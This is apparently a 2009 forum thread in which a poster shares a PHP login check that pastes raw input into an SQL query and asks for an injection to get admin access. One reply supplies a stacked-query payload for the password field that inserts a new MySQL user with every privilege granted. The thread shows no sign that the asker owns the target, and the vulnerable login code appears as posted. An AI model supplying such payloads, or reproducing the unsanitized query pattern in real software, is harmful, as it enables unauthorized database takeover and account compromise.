29
May
Can Anyone Think Of A Sql Injection For These Conditions…?
Author: admin // Category: SQl Injectioncan anyone tell me what i can put in the input fields to get administration options… an sql injection … with these terms… of action…
========== its php and $username and $password are the inputs…
if ($username && $password){
$query = sprintf(”SELECT * FROM login WHERE username = ‘$username’ and password = ‘$password’”);
$result = mysql_query($query);
$account = mysql_fetch_array($result);
}
if ($account){
$_SESSION['id'] = $account['id'];
header(”location:admin.php”);
exit;} else { echo ” u are no admin…. “;}
=======
Tags: Anyone, Conditions..., Injection, These, Think
May 29th, 2009 at 7:33 am
Do you mean admin permissions for the database or the application? It sounds like you mean the application, in which case you haven’t provided enough information. You’d need to know how admins are specified in the database.
If you do mean the database, however, something like this might do the job:
$username = “whatever”;
$password = “password’; INSERT INTO `user` ( `Host` , `User` , `Password` , `Select_priv` , `Insert_priv` , `Update_priv` , `Delete_priv` , `Create_priv` , `Drop_priv` , `Reload_priv` , `Shutdown_priv` , `Process_priv` , `File_priv` , `Grant_priv` , `References_priv` , `Index_priv` , `Alter_priv` , `Show_db_priv` , `Super_priv` , `Create_tmp_table_priv` , `Lock_tables_priv` , `Execute_priv` , `Repl_slave_priv` , `Repl_client_priv` , `ssl_type` , `ssl_cipher` , `x509_issuer` , `x509_subject` , `max_questions` , `max_updates` , `max_connections` )
VALUES (
‘localhost’, ‘me’, ‘mypass’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ‘Y’, ”, ”, ”, ”, ‘0′, ‘0′, ‘0′
);”;
For that to work, you’d have to assume the site admin is dumb enough to run general queries using a DB user with sufficient privileges to run that query (like root).
May 29th, 2009 at 11:51 am
The following source link should be of interest.
Also, standards dictate that we provide full URL (http:// and all) for header() based redirections.